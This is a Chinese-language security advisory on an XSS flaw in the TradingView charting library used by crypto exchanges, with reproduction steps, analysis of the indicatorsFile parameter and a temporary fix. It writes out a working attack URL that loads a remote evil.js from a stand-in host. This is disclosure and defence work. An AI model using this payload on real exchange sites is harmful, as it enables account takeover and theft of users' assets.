TradingView XSS漏洞复现、分析与防御方案

近日,某安全平台爆出TradingView 高危漏洞,猎豹区块链安全团队第一时间协助多家合作数字货币交易所针对TradingView XSS漏洞进行测试和修复,漏洞详情如下:

 

漏洞背景

TradingView 是一款开源免费的K线图分析工具,在数字货币交易所、股票交易所等都有大量使用,XSS漏洞可绕过现有防御机制导致用户帐号权限被盗、账户内资产可被黑客任意转移。

漏洞复现:

通过对某交易所的官网测试

    访问https://www.***.com/assets/chart/charting_library/static发现可以遍历目录

 

漏洞所在位置

/charting_library/static/tv-chart.630b704a2b991e1354cb09.html(630b704a2b991e1354cb09可能不同)中引用了

bundles/library.19c99ed5d03091e1354cb09.js脚本(19c99ed5d03091e1354cb09可能不同)

访问

https://www.***.com/assets/chart/charting_library/static/tvchart.630b704a2b9d0eaf1593.html#disabledFeatures=[]&enabledFeatures= []&indicatorsFile=https://***/evil.js

下图可以看出我们的js脚本已经被触发

 

漏洞分析:

在上面的复现验证中可以看出必须存在三个参数: disabledFeatures ,enabledFeatures, indicatorsFile 。

代码中可以看出没有提供合法的 disabledFeatures 及 enabledFeatures 参数格式会报错停止继续运行。

而对于漏洞最关键参数indicatorsFile参数的利用具体代码如下:

$.getScript通过 HTTP GET 请求从服务器载入并执行一个 JavaScript 文件。

如果受害者点击了以上构造的链接,则会执行攻击者传入的远程恶意js文件,从而会导致⽤用户帐号权限被盗、恶意操作等造成资产损失。

 

防御方案

自行解决的临时解决方案是:在TradingView 库 bundles目录下以 library 开头的 js 文件中,暂时禁止使用indicatorsFile参数

 

免费专业解决方案请联系:audit@cmcm.com